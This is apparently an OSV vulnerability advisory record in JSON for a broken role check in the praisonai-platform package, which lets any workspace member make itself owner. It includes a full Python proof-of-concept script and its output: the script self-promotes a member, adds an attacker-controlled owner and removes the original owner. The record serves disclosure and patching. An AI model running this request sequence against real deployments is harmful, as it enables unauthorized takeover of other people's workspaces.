Files
vuln-osv/data/PyPI/GHSA-h37g-4h4p-9x97.json

1 line
15 KiB
JSON

{"schema_version":"1.9.0","id":"GHSA-h37g-4h4p-9x97","published":"2026-05-29T22:42:07Z","modified":"2026-07-13T16:43:01.882919920Z","aliases":["CVE-2026-47405","PYSEC-2026-2936"],"summary":"PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership","details":"### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members' roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n workspace_id: str,\n user: AuthIdentity = Depends(get_current_user),\n session: AsyncSession = Depends(get_db),\n min_role: str = \"member\",\n) -> AuthIdentity:\n ...\n has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST /workspaces/{workspace_id}/members\nPATCH /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n member = await self.get(workspace_id, user_id)\n member.role = new_role\n\nasync def remove(...):\n member = await self.get(workspace_id, user_id)\n await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -> None:\n expected = {\n PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n 'min_role: str = \"member\"',\n \"member_svc.has_role(workspace_id, user.id, min_role)\",\n ],\n PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n '@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)',\n '@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)',\n '@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',\n '@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)',\n ],\n PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n \"member.role = new_role\",\n \"await self._session.delete(member)\",\n ],\n }\n\n for path, needles in expected.items():\n text = path.read_text(encoding=\"utf-8\")\n for needle in needles:\n if needle not in text:\n raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -> int:\n if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n raise SystemExit(\"missing local PraisonAI source tree\")\n\n verify_source()\n\n sys.path.insert(0, str(PLATFORM_ROOT))\n sys.path.insert(0, str(AGENTS_ROOT))\n\n # Minimal passlib stub for local replay environments where passlib is not installed.\n # This keeps the PoC focused on the authorization bug rather than dependency setup.\n if \"passlib\" not in sys.modules:\n passlib_pkg = types.ModuleType(\"passlib\")\n passlib_pkg.__path__ = []\n sys.modules[\"passlib\"] = passlib_pkg\n\n if \"passlib.context\" not in sys.modules:\n passlib_context = types.ModuleType(\"passlib.context\")\n\n class _CryptContext:\n def __init__(self, *args, **kwargs):\n pass\n\n def hash(self, password: str) -> str:\n return f\"stub::{password}\"\n\n def verify(self, password: str, hashed: str) -> bool:\n return hashed == f\"stub::{password}\"\n\n passlib_context.CryptContext = _CryptContext\n sys.modules[\"passlib.context\"] = passlib_context\n\n # Keep JWT generation deterministic for the local replay.\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db.base import Base, reset_engine\n from praisonai_platform.db import base as base_mod\n\n await reset_engine()\n\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n\n base_mod._engine = engine\n base_mod._session_factory = None\n\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n suffix = uuid.uuid4().hex[:8]\n password = \"Password123!\"\n\n transport = ASGITransport(app=app)\n\n async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n # 1. Register an owner account.\n owner = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"owner_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"owner_{suffix}\",\n },\n )\n\n # 2. Register a low-privilege member account.\n member = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"member_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"member_{suffix}\",\n },\n )\n\n # 3. Register a third attacker-controlled account.\n extra = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"extra_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"extra_{suffix}\",\n },\n )\n\n owner_json = owner.json()\n member_json = member.json()\n extra_json = extra.json()\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_json['token']}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_json['token']}\"}\n\n # 4. Create a workspace as the owner.\n workspace = await client.post(\n \"/api/v1/workspaces/\",\n json={\n \"name\": f\"ws-{suffix}\",\n \"slug\": f\"ws-{suffix}\",\n \"description\": \"rbac bypass poc\",\n },\n headers=owner_headers,\n )\n\n workspace_id = workspace.json()[\"id\"]\n\n # 5. Owner adds the second user as a normal low-privilege member.\n added_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\n \"user_id\": member_json[\"user\"][\"id\"],\n \"role\": \"member\",\n },\n headers=owner_headers,\n )\n\n # 6. Low-privilege member self-promotes to owner.\n promoted = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}\",\n json={\n \"role\": \"owner\",\n },\n headers=member_headers,\n )\n\n # 7. The same formerly-low-privilege member adds a third account as owner.\n added_owner = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\n \"user_id\": extra_json[\"user\"][\"id\"],\n \"role\": \"owner\",\n },\n headers=member_headers,\n )\n\n # 8. The same account removes the original owner.\n removed_original_owner = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}\",\n headers=member_headers,\n )\n\n # 9. Confirm remaining membership state.\n remaining_members = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n headers=member_headers,\n )\n\n remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n print(f\"[poc] owner_status={owner.status_code}\")\n print(f\"[poc] member_status={member.status_code}\")\n print(f\"[poc] extra_status={extra.status_code}\")\n print(f\"[poc] workspace_status={workspace.status_code}\")\n print(f\"[poc] add_status={added_member.status_code} role={added_member.json()['role']}\")\n print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}\")\n print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}\")\n print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n print(f\"[poc] remaining_roles={remaining_roles}\")\n\n if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n if removed_original_owner.status_code != 204:\n raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n if remaining_roles.count(\"owner\") < 2:\n raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=['owner', 'owner']\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer <member_token>\nContent-Type: application/json\n\n{\n \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members' roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.","affected":[{"package":{"name":"praisonai-platform","ecosystem":"PyPI","purl":"pkg:pypi/praisonai-platform"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.4"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3"],"database_specific":{"last_known_affected_version_range":"<= 0.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h37g-4h4p-9x97/GHSA-h37g-4h4p-9x97.json"}}],"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"database_specific":{"cwe_ids":["CWE-284","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-05-29T22:42:07Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}